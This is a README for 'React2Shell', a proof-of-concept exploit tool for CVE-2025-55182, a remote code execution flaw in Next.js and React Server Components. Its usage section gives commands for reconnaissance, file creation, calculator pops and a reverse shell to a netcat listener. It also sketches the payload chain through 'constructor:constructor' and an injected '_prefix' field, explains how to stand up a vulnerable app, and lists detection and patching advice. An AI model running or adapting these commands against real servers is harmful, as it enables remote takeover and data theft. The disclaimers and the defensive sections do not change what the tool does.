React2Shell - CVE-2025-55182 Exploit PoC

A proof-of-concept exploit for CVE-2025-55182, a critical Remote Code Execution vulnerability in Next.js applications using React Server Components.

⚠️ DISCLAIMER

THIS TOOL IS FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY.

• ❌ DO NOT use against systems you don't own or have explicit permission to test
• ❌ Unauthorized access to computer systems is illegal
• ✅ Only use in controlled environments for learning and authorized penetration testing
• ✅ The author is not responsible for misuse or damage caused by this tool

📋 Vulnerability Details

• CVE ID: CVE-2025-55182
• Vulnerability: Remote Code Execution in React Server Components
• Affected Versions:
  • Next.js: ≥14.3.0-canary.77, all 15.x and 16.x versions with App Router
  • React: 19.0, 19.1.0, 19.1.1, 19.2.0
• Patched Versions:
  • Next.js: 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9, 15.0.5
  • React: 19.0.1, 19.1.2, 19.2.1
• CVSS Score: Critical
• Attack Vector: Network-based, requires crafted POST request

🎯 Features

• ✅ Cross-platform support (Windows & Linux)
• ✅ Multiple payload types
• ✅ Reverse shell capabilities
• ✅ Visual proof payloads (calc, notepad)
• ✅ File system operations
• ✅ System information gathering

🔧 Installation

# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell

# Install dependencies
npm install form-data

💻 Usage

Basic Syntax

node react2shell.js <target_url> <payload_type> [options]

Available Payloads

Examples

1. Basic Proof of Concept

node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50

2. System Reconnaissance

# Get current user
node react2shell.js http://localhost:3000 whoami

# List files
node react2shell.js http://localhost:3000 dir

# System information
node react2shell.js http://localhost:3000 systeminfo

3. Visual Proof (Windows)

# Launch calculator
node react2shell.js http://localhost:3000 calc

# Launch notepad
node react2shell.js http://localhost:3000 notepad

4. File Creation Proof

node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt

5. Reverse Shell

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444

# Works on both Windows (PowerShell) and Linux (Bash)

🏗️ Setting Up Vulnerable Environment

Prerequisites

• Node.js 18+
• npm or yarn

Create Vulnerable Next.js Application

# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app

# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind

# Downgrade to vulnerable version
npm install [email protected]

# Install dependencies
npm install

Minimal Vulnerable App (app/page.tsx)

export default function Home() {
  return (
    <div className="p-8">
      <h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
      <p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
    </div>
  );
}

Start Server

npm run dev
# Server runs on http://localhost:3000

🔍 How It Works

The exploit leverages a deserialization vulnerability in React Server Components:

1. Payload Construction: Creates a malicious serialized object with prototype pollution
2. Function Constructor Access: Exploits constructor.constructor to access the Function constructor
3. Code Injection: Injects arbitrary JavaScript code through the _prefix field
4. Execution: Server deserializes the payload and executes the injected code

Technical Details

// Simplified vulnerability chain
{
  _formData: {
    get: '$3:constructor:constructor' // Access Function constructor
  },
  _prefix: 'YOUR_CODE_HERE//' // Injected code
}

🛡️ Mitigation

For Application Owners

1. Update Immediately:

   root@kitploit:~

   npm update next@latest
   npm update react@latest react-dom@latest
   

2. Verify Patched Versions:

   root@kitploit:~

   npm list next react
   

3. Required Versions:

   • Next.js: ≥16.0.7 or ≥15.5.7
   • React: ≥19.2.1 or ≥19.1.2

For Security Teams

• Scan for vulnerable Next.js versions in your infrastructure
• Implement Web Application Firewall (WAF) rules to detect malicious RSC payloads
• Monitor for suspicious POST requests with next-action headers
• Review server-side logs for unexpected code execution patterns

📊 Detection

WAF Rules

Look for POST requests with:

• Header: next-action
• Content-Type: multipart/form-data
• Body containing: constructor, _prefix, _formData

Log Patterns

POST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)

📚 References

• CVE-2025-55182 - NVD
• Next.js Security Advisories
• React Security Updates
• OWASP Code Injection

🤝 Contributing

This is an educational tool. Contributions that improve:

• Detection capabilities
• Documentation
• Defensive strategies
• Educational content

are welcome. DO NOT submit contributions that enhance attack capabilities.

📜 License

Educational Use Only - No warranty provided

👤 Author

Luiz Fernando Ziron Created for cybersecurity education and awareness purposes.

⚖️ Legal Notice

By using this tool, you agree to:

• Only use it on systems you own or have explicit written permission to test
• Take full responsibility for your actions
• Not hold the author liable for any misuse or damage
• Comply with all applicable laws and regulations

Unauthorized access to computer systems is a crime in most jurisdictions.

Stay safe, stay ethical, stay legal. 🔒